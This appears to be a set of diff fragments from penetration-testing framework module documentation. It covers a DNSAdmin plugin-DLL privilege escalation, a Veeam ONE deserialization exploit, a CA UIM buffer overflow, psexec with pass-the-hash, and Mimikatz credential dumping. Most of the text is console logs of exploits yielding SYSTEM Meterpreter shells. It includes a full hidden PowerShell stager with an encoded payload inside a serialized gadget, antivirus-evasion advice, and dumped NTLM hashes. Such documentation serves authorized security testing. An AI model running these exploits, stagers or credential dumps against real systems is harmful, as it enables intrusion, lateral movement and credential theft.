msf6 exploit(windows/local/dnsadmin_serverlevelplugindll) > set DLLNAME mp4.dll
DLLNAME => mp4.dll
msf6 exploit(windows/local/dnsadmin_serverlevelplugindll) > exploit
[*] Checking service state...
[*] Using user-provided UNC path.
[!] Entering danger section...
[*] Modifying ServerLevelPluginDll to point to \\172.17.168.195\test\mp4.dll...
[+] Registry property serverlevelplugindll successfully reset.
[*] Restarting the DNS service...
[*] Started bind TCP handler against 172.17.169.123:6688
[*] Sending stage (200262 bytes) to 172.17.169.123
[*] Meterpreter session 4 opened (0.0.0.0:0 -> 172.17.169.123:6688) at 2020-09-09 15:06:33 -0500
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > sysinfo
Computer : WIN-M5JU6L5RA9L
OS : Windows 2016+ (10.0 Build 17763).
Architecture : x64
System Language : en_US
Domain : RAPID7
Logged On Users : 12
Meterpreter : x64/windows
meterpreter >
```
### Windows Server 2019 Standard x64, just creating DLL
```
msf6 exploit(multi/handler) > use exploit/windows/local/dnsadmin_serverlevelplugindll
[*] Using configured payload windows/x64/meterpreter/bind_tcp
msf6 exploit(windows/local/dnsadmin_serverlevelplugindll) > set SESSION 3
SESSION => 3
msf6 exploit(windows/local/dnsadmin_serverlevelplugindll) > set PAYLOAD windows/x64/meterpreter/bind_tcp
PAYLOAD => windows/x64/meterpreter/bind_tcp
msf6 exploit(windows/local/dnsadmin_serverlevelplugindll) > set LPORT 6688
LPORT => 6688
msf6 exploit(windows/local/dnsadmin_serverlevelplugindll) > set DLLNAME mp4.dll
DLLNAME => mp4.dll
msf6 exploit(windows/local/dnsadmin_serverlevelplugindll) > set MAKEDLL true
MAKEDLL => true
msf6 exploit(windows/local/dnsadmin_serverlevelplugindll) > show options
Module options (exploit/windows/local/dnsadmin_serverlevelplugindll):
Name Current Setting Required Description
---- --------------- -------- -----------
AVTIMEOUT 60 yes Time to wait for AV to potentially notice the DLL file we dropped, in seconds.
DLLNAME mp4.dll yes DLL name (default: msf.dll)
DLLPATH %TEMP% yes Path to DLL. Can be a UNC path. (default: %TEMP%)
MAKEDLL true yes Just create the DLL, do not exploit.
SESSION 3 yes The session to run this module on.
Payload options (windows/x64/meterpreter/bind_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC thread yes Exit technique (Accepted: '', seh, thread, process, none)
LPORT 6688 yes The listen port
RHOST 172.17.169.123 no The target address
Exploit target:
Id Name
-- ----
0 Automatic
msf6 exploit(windows/local/dnsadmin_serverlevelplugindll) > exploit
[*] Building DLL...
[+] mp4.dll stored at /home/gwillcox/.msf4/local/mp4.dll
[*] Started bind TCP handler against 172.17.169.123:6688
[*] Exploit completed, but no session was created.
msf6 exploit(windows/local/dnsadmin_serverlevelplugindll) >
```
## Notes
1. This module is not particularly opsec-safe as it drops a DLL to disk, writes to
the registry, and is sure to generate a ton of event logs when the DNS service is
stopped and restarted..
2. Automatic cleanup of the dropped DLL is attempted if the DLL has been written to
disk, but if automatic cleanup fails manual cleanup may be necessary.
@@ -101,7 +101,7 @@ msf5 exploit(windows/misc/veeam_one_agent_deserialization) > run
[+] 172.16.249.150:2805 - <-- Host info reply: "\x03\x02\x00"
[*] 172.16.249.150:2805 - Executing PowerShell Stager for windows/x64/meterpreter/reverse_tcp
[*] 172.16.249.150:2805 - Powershell command length: 2506
[*] 172.16.249.150:2805 - Serializing command: powershell.exe -nop -w hidden -noni -c "if([IntPtr]::Size -eq 4){$b=$env:windir+'\sysnative\WindowsPowerShell\v1.0\powershell.exe'}else{$b='powershell.exe'};$s=New-Object System.Diagnostics.ProcessStartInfo;$s.FileName=$b;$s.Arguments='-noni -nop -w hidden -c &([scriptblock]::create((New-Object System.IO.StreamReader(New-Object System.IO.Compression.GzipStream((New-Object System.IO.MemoryStream(,[System.Convert]::FromBase64String(''H4sIAPbHp14CA7VWa2+bSBT9nEj5D6iyZFAcG7tOmo1UacGGGNekpgTbsWutMIxh6mEgMMQm3f73vWNDmm7T3XalRUjM4z7PPTOXdU49hmMqkAvh88nx0dhN3UgQa+jCbAi1RNcd6egI1mu73QpdCm8FcaEkST+OXEyXV1e9PE0RZYd58xoxJctQtCIYZaIk/ClMQ5Sis/erT8hjwmeh9kfzmsQrl5RiRc/1QiScKdTne6PYc3kwTTshmIn1jx/r0uKsvWxq97lLMrFuFxlDUdMnpC4JXyTu8LZIkFg3sZfGWbxmzSmmrztNh2buGt2AtQdkIhbGflaXIA14U8TylAqHhLiFw75Yh+E4jT3F91OUZfWGsOC2F8vl7+KidPwhpwxHqGlQhtI4sVH6gD2UNQcu9Qn6gNZL0LJZimmwlCQQe4g3SKzRnJCG8CtmxBu0rWD7WSXxuRJIjVkqNaCULyVqxn5O0EG1/kKkvP4SPBUHALsvJ8cnx+uKLnl4/5wvMDpa7McIohPHcYb3Ym8FuSGY4MZlcVrAtHab5khaPmEr1ArLafxYvV3JguSK0PEA1haTGPtL0CkrWgu9aYev/5iZfbTGFPUL6kbYq8gnvoQyWhO0T7FZid1AVGK93EB+HxEUuIzDxov9nZoWYfakq+aY+ChVPKhUBlFBEaVvgzlUQqwb1EQRYHSYA/tqa6A8qqRLmheVdz4HoXqPuFnWEMY5nDmvIdjIJchvCArNcLml5CzeD+tfwzVzwrDnZqwyt5QqHEt/vZhmLM09KBvkfmsnyMMu4VA0hAH2kVrYOKj81l8EoucSAgcBLD1AIWCFA2AzToYUQuSFl5o2YkaUEBSByP7s68QN4KSXbN+Txw2QX/97gBWZD8zlUFQYPAsP6muTmDWECU4ZXCEc1j2L/pP7Z5fHPpBeispKiNX5WKgF47Su7db3JOCcLHHZo5AyQEBP40h1M3TRPVwU4quWhvvn4378qMCj6R+siWo7k7lh+kNiG8y+0/DICUMDt40A5oWjBWMmJ+9ubwdDuz9Q0v4uXCtGZmgDtbDaquIN8JvJUHUc0MO9kfVpZyi+GgWz4K63NcbhzABHvVFgBPBVjdBT5bkcqLLeG9lqqGFZCWxrYHXbc6N1SVT8aBu2Mpg++Xvyo3W7g9nuVrkxh0qov/f1dkff62+4/nxzPepr+7nH59ZdpmEN/Gj6nTUJ0XSSqFNNn1uTxAhOt4E1GbW6eqjCuoF3o8RuwdNuDx+o/2iSy0cTwrUm8yFGcyNARaBYimLfUWKvtj1F1b1U7Z8rju7A2ubWoDtrlZh+cTdo/TYxMUpixdIURSdwJiPF3fZb7Wn8zpqcW44m7wpH3m21T62thofbTfl1ri8ugta6O25NbIMO3FCFeIthd4OHp7AXuRP5bt2acPz6Gm090hlxx712TFattoP7b1TVwGh4Y3rkXoWcwca5tYp7HS9cQ0xGcGkFs5h23A3YnQYKRAf5QZ3XQwN01JzgjXM647aGWzka7mQeZzS8hNg6ZQwKo8asBfEpg77do9e2Mev4SFdbp97bV5y0wNpaFD642TMy/qiVmG6ahS4BkkKLqK4GPU718tYfx5hriCL8LGxQShGBVgvNuDpeCiGxx3sO7w7Q7g5NiPdEB4avOy+OJOFJUPraiaqlq6s5hAjHdX+gmiNEAxY25N1rWYbOIu+6MiT583n14qQQD7YavDUdoHkyT/bmJX6Sa/f3xv8JWXl5hPDx/wWyr2v/sPtTMMqNMuHv1r9d+CVMfzHxqYsZyNlw9RF0aL4v5l+y49nPCVQEKr8uH/57+T5nZzfwy3Jy/BfBhjzkyAoAAA==''))),[System.IO.Compression.CompressionMode]::Decompress))).ReadToEnd()))';$s.UseShellExecute=$false;$s.RedirectStandardOutput=$true;$s.WindowStyle='Hidden';$s.CreateNoWindow=$true;$p=[System.Diagnostics.Process]::Start($s);"
[*] 172.16.249.150:2805 - Executing command: powershell.exe -nop -w hidden -noni -c "if([IntPtr]::Size -eq 4){$b=$env:windir+'\sysnative\WindowsPowerShell\v1.0\powershell.exe'}else{$b='powershell.exe'};$s=New-Object System.Diagnostics.ProcessStartInfo;$s.FileName=$b;$s.Arguments='-noni -nop -w hidden -c &([scriptblock]::create((New-Object System.IO.StreamReader(New-Object System.IO.Compression.GzipStream((New-Object System.IO.MemoryStream(,[System.Convert]::FromBase64String(''H4sIAPbHp14CA7VWa2+bSBT9nEj5D6iyZFAcG7tOmo1UacGGGNekpgTbsWutMIxh6mEgMMQm3f73vWNDmm7T3XalRUjM4z7PPTOXdU49hmMqkAvh88nx0dhN3UgQa+jCbAi1RNcd6egI1mu73QpdCm8FcaEkST+OXEyXV1e9PE0RZYd58xoxJctQtCIYZaIk/ClMQ5Sis/erT8hjwmeh9kfzmsQrl5RiRc/1QiScKdTne6PYc3kwTTshmIn1jx/r0uKsvWxq97lLMrFuFxlDUdMnpC4JXyTu8LZIkFg3sZfGWbxmzSmmrztNh2buGt2AtQdkIhbGflaXIA14U8TylAqHhLiFw75Yh+E4jT3F91OUZfWGsOC2F8vl7+KidPwhpwxHqGlQhtI4sVH6gD2UNQcu9Qn6gNZL0LJZimmwlCQQe4g3SKzRnJCG8CtmxBu0rWD7WSXxuRJIjVkqNaCULyVqxn5O0EG1/kKkvP4SPBUHALsvJ8cnx+uKLnl4/5wvMDpa7McIohPHcYb3Ym8FuSGY4MZlcVrAtHab5khaPmEr1ArLafxYvV3JguSK0PEA1haTGPtL0CkrWgu9aYev/5iZfbTGFPUL6kbYq8gnvoQyWhO0T7FZid1AVGK93EB+HxEUuIzDxov9nZoWYfakq+aY+ChVPKhUBlFBEaVvgzlUQqwb1EQRYHSYA/tqa6A8qqRLmheVdz4HoXqPuFnWEMY5nDmvIdjIJchvCArNcLml5CzeD+tfwzVzwrDnZqwyt5QqHEt/vZhmLM09KBvkfmsnyMMu4VA0hAH2kVrYOKj81l8EoucSAgcBLD1AIWCFA2AzToYUQuSFl5o2YkaUEBSByP7s68QN4KSXbN+Txw2QX/97gBWZD8zlUFQYPAsP6muTmDWECU4ZXCEc1j2L/pP7Z5fHPpBeispKiNX5WKgF47Su7db3JOCcLHHZo5AyQEBP40h1M3TRPVwU4quWhvvn4378qMCj6R+siWo7k7lh+kNiG8y+0/DICUMDt40A5oWjBWMmJ+9ubwdDuz9Q0v4uXCtGZmgDtbDaquIN8JvJUHUc0MO9kfVpZyi+GgWz4K63NcbhzABHvVFgBPBVjdBT5bkcqLLeG9lqqGFZCWxrYHXbc6N1SVT8aBu2Mpg++Xvyo3W7g9nuVrkxh0qov/f1dkff62+4/nxzPepr+7nH59ZdpmEN/Gj6nTUJ0XSSqFNNn1uTxAhOt4E1GbW6eqjCuoF3o8RuwdNuDx+o/2iSy0cTwrUm8yFGcyNARaBYimLfUWKvtj1F1b1U7Z8rju7A2ubWoDtrlZh+cTdo/TYxMUpixdIURSdwJiPF3fZb7Wn8zpqcW44m7wpH3m21T62thofbTfl1ri8ugta6O25NbIMO3FCFeIthd4OHp7AXuRP5bt2acPz6Gm090hlxx712TFattoP7b1TVwGh4Y3rkXoWcwca5tYp7HS9cQ0xGcGkFs5h23A3YnQYKRAf5QZ3XQwN01JzgjXM647aGWzka7mQeZzS8hNg6ZQwKo8asBfEpg77do9e2Mev4SFdbp97bV5y0wNpaFD642TMy/qiVmG6ahS4BkkKLqK4GPU718tYfx5hriCL8LGxQShGBVgvNuDpeCiGxx3sO7w7Q7g5NiPdEB4avOy+OJOFJUPraiaqlq6s5hAjHdX+gmiNEAxY25N1rWYbOIu+6MiT583n14qQQD7YavDUdoHkyT/bmJX6Sa/f3xv8JWXl5hPDx/wWyr2v/sPtTMMqNMuHv1r9d+CVMfzHxqYsZyNlw9RF0aL4v5l+y49nPCVQEKr8uH/57+T5nZzfwy3Jy/BfBhjzkyAoAAA==''))),[System.IO.Compression.CompressionMode]::Decompress))).ReadToEnd()))';$s.UseShellExecute=$false;$s.RedirectStandardOutput=$true;$s.WindowStyle='Hidden';$s.CreateNoWindow=$true;$p=[System.Diagnostics.Process]::Start($s);"
[*] 172.16.249.150:2805 - Sending malicious handshake to 172.16.249.150:2805
[+] 172.16.249.150:2805 - --> Handshake packet: "\x9E\f\x00\x00\a\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xFF\xFF\xFF\xFF\x00\x01\x00\x00\x00\xFF\xFF\xFF\xFF\x01\x00\x00\x00\x00\x00\x00\x00\f\x02\x00\x00\x00^Microsoft.PowerShell.Editor, Version=3.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35\x05\x01\x00\x00\x00BMicrosoft.VisualStudio.Text.Formatting.TextFormattingRunProperties\x01\x00\x00\x00\x0FForegroundBrush\x01\x02\x00\x00\x00\x06\x03\x00\x00\x00\xBC\x17<ResourceDictionary xmlns=\"http://schemas.microsoft.com/winfx/2006/xaml/presentation\" xmlns:X=\"http://schemas.microsoft.com/winfx/2006/xaml\" xmlns:S=\"clr-namespace:System;assembly=mscorlib\" xmlns:D=\"clr-namespace:System.Diagnostics;assembly=system\"><ObjectDataProvider X:Key=\"\" ObjectType=\"{X:Type D:Process}\" MethodName=\"Start\"><ObjectDataProvider.MethodParameters><S:String>cmd</S:String><S:String>/c powershell.exe -nop -w hidden -noni -c \"if([IntPtr]::Size -eq 4){$b=$env:windir+'\\sysnative\\WindowsPowerShell\\v1.0\\powershell.exe'}else{$b='powershell.exe'};$s=New-Object System.Diagnostics.ProcessStartInfo;$s.FileName=$b;$s.Arguments='-noni -nop -w hidden -c &amp;([scriptblock]::create((New-Object System.IO.StreamReader(New-Object System.IO.Compression.GzipStream((New-Object System.IO.MemoryStream(,[System.Convert]::FromBase64String(''H4sIAPbHp14CA7VWa2+bSBT9nEj5D6iyZFAcG7tOmo1UacGGGNekpgTbsWutMIxh6mEgMMQm3f73vWNDmm7T3XalRUjM4z7PPTOXdU49hmMqkAvh88nx0dhN3UgQa+jCbAi1RNcd6egI1mu73QpdCm8FcaEkST+OXEyXV1e9PE0RZYd58xoxJctQtCIYZaIk/ClMQ5Sis/erT8hjwmeh9kfzmsQrl5RiRc/1QiScKdTne6PYc3kwTTshmIn1jx/r0uKsvWxq97lLMrFuFxlDUdMnpC4JXyTu8LZIkFg3sZfGWbxmzSmmrztNh2buGt2AtQdkIhbGflaXIA14U8TylAqHhLiFw75Yh+E4jT3F91OUZfWGsOC2F8vl7+KidPwhpwxHqGlQhtI4sVH6gD2UNQcu9Qn6gNZL0LJZimmwlCQQe4g3SKzRnJCG8CtmxBu0rWD7WSXxuRJIjVkqNaCULyVqxn5O0EG1/kKkvP4SPBUHALsvJ8cnx+uKLnl4/5wvMDpa7McIohPHcYb3Ym8FuSGY4MZlcVrAtHab5khaPmEr1ArLafxYvV3JguSK0PEA1haTGPtL0CkrWgu9aYev/5iZfbTGFPUL6kbYq8gnvoQyWhO0T7FZid1AVGK93EB+HxEUuIzDxov9nZoWYfakq+aY+ChVPKhUBlFBEaVvgzlUQqwb1EQRYHSYA/tqa6A8qqRLmheVdz4HoXqPuFnWEMY5nDmvIdjIJchvCArNcLml5CzeD+tfwzVzwrDnZqwyt5QqHEt/vZhmLM09KBvkfmsnyMMu4VA0hAH2kVrYOKj81l8EoucSAgcBLD1AIWCFA2AzToYUQuSFl5o2YkaUEBSByP7s68QN4KSXbN+Txw2QX/97gBWZD8zlUFQYPAsP6muTmDWECU4ZXCEc1j2L/pP7Z5fHPpBeispKiNX5WKgF47Su7db3JOCcLHHZo5AyQEBP40h1M3TRPVwU4quWhvvn4378qMCj6R+siWo7k7lh+kNiG8y+0/DICUMDt40A5oWjBWMmJ+9ubwdDuz9Q0v4uXCtGZmgDtbDaquIN8JvJUHUc0MO9kfVpZyi+GgWz4K63NcbhzABHvVFgBPBVjdBT5bkcqLLeG9lqqGFZCWxrYHXbc6N1SVT8aBu2Mpg++Xvyo3W7g9nuVrkxh0qov/f1dkff62+4/nxzPepr+7nH59ZdpmEN/Gj6nTUJ0XSSqFNNn1uTxAhOt4E1GbW6eqjCuoF3o8RuwdNuDx+o/2iSy0cTwrUm8yFGcyNARaBYimLfUWKvtj1F1b1U7Z8rju7A2ubWoDtrlZh+cTdo/TYxMUpixdIURSdwJiPF3fZb7Wn8zpqcW44m7wpH3m21T62thofbTfl1ri8ugta6O25NbIMO3FCFeIthd4OHp7AXuRP5bt2acPz6Gm090hlxx712TFattoP7b1TVwGh4Y3rkXoWcwca5tYp7HS9cQ0xGcGkFs5h23A3YnQYKRAf5QZ3XQwN01JzgjXM647aGWzka7mQeZzS8hNg6ZQwKo8asBfEpg77do9e2Mev4SFdbp97bV5y0wNpaFD642TMy/qiVmG6ahS4BkkKLqK4GPU718tYfx5hriCL8LGxQShGBVgvNuDpeCiGxx3sO7w7Q7g5NiPdEB4avOy+OJOFJUPraiaqlq6s5hAjHdX+gmiNEAxY25N1rWYbOIu+6MiT583n14qQQD7YavDUdoHkyT/bmJX6Sa/f3xv8JWXl5hPDx/wWyr2v/sPtTMMqNMuHv1r9d+CVMfzHxqYsZyNlw9RF0aL4v5l+y49nPCVQEKr8uH/57+T5nZzfwy3Jy/BfBhjzkyAoAAA==''))),[System.IO.Compression.CompressionMode]::Decompress))).ReadToEnd()))';$s.UseShellExecute=$false;$s.RedirectStandardOutput=$true;$s.WindowStyle='Hidden';$s.CreateNoWindow=$true;$p=[System.Diagnostics.Process]::Start($s);\"</S:String></ObjectDataProvider.MethodParameters></ObjectDataProvider></ResourceDictionary>\v"
[+] 172.16.249.150:2805 - <-- Handshake reply: "\x00\x00\x00\x00\xBA\xB0\x8DJ\xA2A\eL\x9E\xD3r\xB4w\xD3\xEFn\x0E\x00\x00\x00\a\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x05\x00\x00\x00"
@@ -0,0 +1,113 @@
## Vulnerable Application
All CA Infrastructure Management monitoring agents prior to 9.20 are vulnerable to a buffer overflow vulnerability
within the nimcontroller when using the directory_list probe. Since the directory_list probe requires read privileges
the target host must also be vulnerable to CVE-2020-8010 to bypass ACL settings. Successful code execution will result
in a NT AUTHORITY\SYSTEM shell, even if exploitation fails the remote service will not crash. You should be able to
exploit the service an unlimited amount of times.
## Verification Steps
1. Install the CA UIM v7.80.3132 (nimsoftrobotXXX.exe)
2. Start `msfconsole`
3. Do `use exploit/windows/nimsoft/nimcontroller_bof`
4. Do `set RHOSTS <ip>`
5. Do `exploit`
6. Verify shell is opened and service is still accessible
### Links
[CA UIM](https://techdocs.broadcom.com/content/broadcom/techdocs/us/en/ca-enterprise-software/it-operations-management/unified-infrastructure-management/9-0-2/getting-started/ca-uim-overview.html)
[Nimsoft Probe Utility](https://techdocs.broadcom.com/content/broadcom/techdocs/us/en/ca-enterprise-software/it-operations-management/unified-infrastructure-management/9-0-2/administering/run-probe-commands-from-a-command-prompt.html)
## Options
## Scenarios
### Windows 10 x64
```
msf5 exploit(windows/nimsoft/nimcontroller_bof) > options
Module options (exploit/windows/nimsoft/nimcontroller_bof):
Name Current Setting Required Description
---- --------------- -------- -----------
DIRECTORY C:\ no Directory path to obtain a listing
RHOSTS W.X.Y.Z yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 48000 yes The target port (TCP)
Payload options (windows/x64/meterpreter/reverse_https):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST A.B.C.D yes The local listener hostname
LPORT 8443 yes The local listener port
LURI no The HTTP Path
Exploit target:
Id Name
-- ----
0 Windows Universal (x64) - v7.80.3132
msf5 exploit(windows/nimsoft/nimcontroller_bof) > exploit
[*] Started HTTPS reverse handler on https://A.B.C.D:8443
[*] W.X.Y.Z:48000 - Executing automatic check (disable AutoCheck to override)
[*] https://A.B.C.D:8443 handling request from W.X.Y.Z; (UUID: rpsri4cm) Attaching orphaned/stageless session...
[*] Meterpreter session 1 opened (A.B.C.D:8443 -> W.X.Y.Z:50980) at 2020-07-21 11:14:09 -0500
[*] W.X.Y.Z:48000 - Version 7.80 [Build 7.80.3132, Jun 1 2015] detected, sending directory_list probe
Directory of C:\
12/15/2019 06:24 PM <DIR> $GetCurrent
12/14/2019 01:41 AM <DIR> $Recycle.Bin
10/18/2019 05:55 PM <DIR> Documents and Settings
07/21/2020 10:15 AM <DIR> pagefile.sys
07/14/2020 03:41 PM <DIR> PerfLogs
06/10/2020 09:18 AM <DIR> Program Files
07/19/2020 01:37 PM <DIR> Program Files (x86)
07/14/2020 03:41 PM <DIR> ProgramData
12/15/2019 07:08 PM <DIR> Recovery
07/21/2020 10:15 AM <DIR> swapfile.sys
10/18/2019 04:04 PM <DIR> System Volume Information
12/15/2019 07:09 PM <DIR> Users
07/18/2020 02:20 PM <DIR> Windows
[+] W.X.Y.Z:48000 - The target is vulnerable.
meterpreter >
[*] Session ID 1 (A.B.C.D:8443 -> W.X.Y.Z:50980) processing AutoRunScript 'post/windows/manage/migrate'
[*] Running module against DESKTOP-JICNNRT
[*] Current server process: notepad.exe (1860)
[*] Spawning notepad.exe process to migrate into
[*] Spoofing PPID 0
[*] Migrating into 7472
[+] Successfully migrated into process 7472
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > background
[*] Backgrounding session 1...
msf5 exploit(windows/nimsoft/nimcontroller_bof) > set DIRECTORY C:\\Users\\
DIRECTORY => C:\Users\
msf5 exploit(windows/nimsoft/nimcontroller_bof) > check
[*] W.X.Y.Z:48000 - Version 7.80 [Build 7.80.3132, Jun 1 2015] detected, sending directory_list probe
Directory of C:\Users\
03/19/2019 12:02 AM <DIR> All Users
12/15/2019 07:14 PM <DIR> Default
03/19/2019 12:02 AM <DIR> Default User
03/18/2019 11:49 PM <DIR> desktop.ini
07/19/2020 01:37 PM <DIR> REDACTED
12/15/2019 09:07 PM <DIR> Public
[+] W.X.Y.Z:48000 - The target is vulnerable.
```
@@ -1,17 +1,16 @@
psexec is one of the most popular exploits against Microsoft Windows. It is a great way to test password security and demonstrate how a stolen password could lead to a complete compromise of an entire corporate network.
The Metasploit Framework actually includes different module types of psexec for different scenarios. exploit/windows/smb/psexec is the father of them all and is used the same way
you normally would with any Metasploit exploits.
## Vulnerable Application
PsExec is one of the most popular exploits against Microsoft Windows. It is a great way to test password security and demonstrate how a
stolen password could lead to a complete compromise of an entire corporate network.
To be able to use exploit/windows/smb/psexec:
To be able to use `exploit/windows/smb/psexec`:
1. You must have a valid username/password.
2. The firewall must allow SMB traffic.
3. The target must use SMBv1.
4. The remote Windows machine's network security policy must allow it. If you see [one of these errors](https://github.com/rapid7/metasploit-framework/wiki/What-does-my-Rex%3A%3AProto%3A%3ASMB-Error-mean%3F), then the Windows machine does not allow it.
1. A valid username and password must be set.
1. The firewall must allow SMB traffic.
1. The remote Windows machine's network security policy must allow it.
* If the specified account is a local Administrator and the target is Windows Vista or newer, then "Remote UAC" must be disabled (the
`DWORD` value `HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\LocalAccountTokenFilterPolicy` must be 1).
See [Pass-the-Hash Is Dead: Long Live LocalAccountTokenFilterPolicy][1] for more information. Without this setting, the server will
respond with `STATUS_ACCESS_DENIED` and PsExec will fail.
## Verification Steps
@@ -43,7 +42,8 @@ meterpreter >
## Options
By default, using exploit/windows/smb/psexec can be as simple as setting the RHOST option, and you're ready to go. But in reality, you will probably need to at least configure:
By default, using exploit/windows/smb/psexec can be as simple as setting the RHOST option, and you're ready to go. But in reality, you will
probably need to at least configure:
**The SMBUser Option**
@@ -58,7 +58,8 @@ This can be either the plain text version or the Windows hash.
**Pass the Hash**
One common penetration testing scenario using psexec is that attackers usually begin by breaking into a box, dumping the hashes, and using some of those hashes to log into other boxes on the network using psexec. So in that scenario, with the following stolen hash:
One common penetration testing scenario using psexec is that attackers usually begin by breaking into a box, dumping the hashes, and using
some of those hashes to log into other boxes on the network using psexec. So in that scenario, with the following stolen hash:
```
meterpreter > hashdump
@@ -93,28 +94,46 @@ meterpreter >
**Automatic Target**
There are multiple targets available for exploit/windows/smb/psexec. The Automatic target is the default target. If the Automatic target detects Powershell on the remote machine, it will try Powershell, otherwise it uses the natvie upload. Each target is explained below.
There are multiple targets available for exploit/windows/smb/psexec. The Automatic target is the default target. If the Automatic target
detects Powershell on the remote machine, it will try Powershell, otherwise it uses the natie upload. Each target is explained below.
**Powershell Target**
The Powershell target forces the psexec module to run a Powershell command with a payload embedded in it. Since this approach does not leave anything on disk, it is a very powerful way to evade antivirus. However, older Windows machines might not support Powershell by default.
The Powershell target forces the psexec module to run a Powershell command with a payload embedded in it. Since this approach does not
leave anything on disk, it is a very powerful way to evade antivirus. However, older Windows machines might not support Powershell by
default.
Because of this, you will probably want to use the Automatic target setting. The automatic mode will check if the target supports Powershell before it tries it; the manually set Powershell target won't do that.
Because of this, you will probably want to use the Automatic target setting. The automatic mode will check if the target supports
Powershell before it tries it; the manually set Powershell target won't do that.
**Native Upload Target**
The Native target will attempt to upload the payload (executable) to SYSTEM32 (which can be modified with the
SHARE datastore option), and then execute it with psexec.
This approach is generally reliable, but has a high chance of getting caught by antivirus on the target. To counter this, you can try to use a template by setting the EXE::Path and EXE::Template datastore options. Or, you can supply your own custom EXE by setting the EXE::Custom option.
This approach is generally reliable, but has a high chance of getting caught by antivirus on the target. To counter this, you can try to
use a template by setting the EXE::Path and EXE::Template datastore options. Or, you can supply your own custom EXE by setting the
`EXE::Custom` option.
**MOF Upload Target**
The [MOF](https://github.com/rapid7/metasploit-framework/wiki/How-to-use-WbemExec-for-a-write-privilege-attack-on-Windows) target technically does not use psexec; it does not explicitly tell Windows to execute anything. All it does is upload two files: the payload (exe) in SYSTEM32 and a managed object
format file in SYSTEM32\wbem\mof\ directory. When Windows sees the MOF file in that directory, it automatically runs it. Once executed, the code inside the MOF file basically tells Windows to execute our payload in SYSTEM32, and you get a session.
The [MOF](https://github.com/rapid7/metasploit-framework/wiki/How-to-use-WbemExec-for-a-write-privilege-attack-on-Windows) target
technically does not use psexec; it does not explicitly tell Windows to execute anything. All it does is upload two files: the payload
(exe) in SYSTEM32 and a managed object format file in SYSTEM32\wbem\mof\ directory. When Windows sees the MOF file in that directory, it
automatically runs it. Once executed, the code inside the MOF file basically tells Windows to execute our payload in SYSTEM32, and you get
a session.
Although it's a neat trick, Metasploit's MOF library only works against Windows XP and Windows Server 2003. And since it writes files to disk, there is also a high chance of getting
caught by antivirus on the target.
Although it's a neat trick, Metasploit's MOF library only works against Windows XP and Windows Server 2003. And since it writes files to
disk, there is also a high chance of getting caught by antivirus on the target.
The best way to counter antivirus is still the same. You can either use a different template by setting the EXE::Path and EXE::Template datastore options or you can supply your own custom EXE by setting the EXE::Custom option.
The best way to counter antivirus is still the same. You can either use a different template by setting the EXE::Path and EXE::Template
datastore options or you can supply your own custom EXE by setting the EXE::Custom option.
**Command**
The command target causes the psexec operation to execute an operating system command. This can either be a `cmd/windows/` payload provided
by Metasploit, or the user can specify their own by using the `cmd/windows/generic` payload and setting `CMD`. The output of the command
will be written to a file and then retrieved so that it is accessible. If the command does not immediately return, then reading the output
will fail.
[1]: https://www.harmj0y.net/blog/redteaming/pass-the-hash-is-dead-long-live-localaccounttokenfilterpolicy/
+16 -17
View File
@@ -9,13 +9,13 @@ files, as well as instructions on installing/configuring the environment if it i
standard install. Much of this will come from the PR, and can be copy/pasted.
## Verification Steps
Example steps in this format (is also in the PR):
Example steps in this format (is also in the PR):
1. Install the application
2. Start msfconsole
3. Do: ```use [module path]```
4. Do: ```run```
5. You should get a shell.
1. Install the application
1. Start msfconsole
1. Do: `use [module path]`
1. Do: `run`
1. You should get a shell.
## Options
List each option and how to use it.
@@ -27,19 +27,18 @@ Talk about what it does, and how to use it appropriately. If the default value i
## Scenarios
Specific demo of using the module that might be useful in a real world scenario.
### Version and OS
```
code or console output
```
```
code or console output
```
For example:
For example:
To do this specific thing, here's how you do it:
To do this specific thing, here's how you do it:
```
msf > use module_name
msf auxiliary(module_name) > set POWERLEVEL >9000
msf auxiliary(module_name) > exploit
```
```
msf > use module_name
msf auxiliary(module_name) > set POWERLEVEL >9000
msf auxiliary(module_name) > exploit
```
@@ -327,56 +327,6 @@ the specific post module you wish to run, and enter ```info -d``` to see the bas
documentation.
**Using the Mimikatz Extension**
[Mimikatz](https://github.com/gentilkiwi/mimikatz) is a well known tool to extract passwords, hashes, PIN code, and kerberos tickets from memory on Windows. This might actually be the first thing you want to use as soon as you get a high-privileged session, such as SYSTEM.
To begin, load the extension:
```
meterpreter > load mimikatz
Loading extension mimikatz...success.
meterpreter >
```
This will create more commands for the Meterpreter prompt. Most of them are meant to be used to
retrieve user names, hashes, passwords and other information:
```
Mimikatz Commands
=================
Command Description
------- -----------
kerberos Attempt to retrieve kerberos creds
livessp Attempt to retrieve livessp creds
mimikatz_command Run a custom command
msv Attempt to retrieve msv creds (hashes)
ssp Attempt to retrieve ssp creds
tspkg Attempt to retrieve tspkg creds
wdigest Attempt to retrieve wdigest creds
```
An example of using the ```msv``` command:
```
meterpreter > msv
[+] Running as SYSTEM
[*] Retrieving msv credentials
msv credentials
===============
AuthID Package Domain User Password
------ ------- ------ ---- --------
0;313876 NTLM WIN-6NH0Q8CJQVM user10 lm{ 0363cb92c563245c447eaf70cfac29c1 }, ntlm{ 16597a07ce66307b3e1a5bd1b7abe123 }
0;313828 NTLM WIN-6NH0Q8CJQVM user10 lm{ 0363cb92c563245c447eaf70cfac29c1 }, ntlm{ 16597a07ce66307b3e1a5bd1b7abe123 }
0;996 Negotiate WORKGROUP WIN-6NH0Q8CJQVM$ n.s. (Credentials KO)
0;997 Negotiate NT AUTHORITY LOCAL SERVICE n.s. (Credentials KO)
0;45518 NTLM n.s. (Credentials KO)
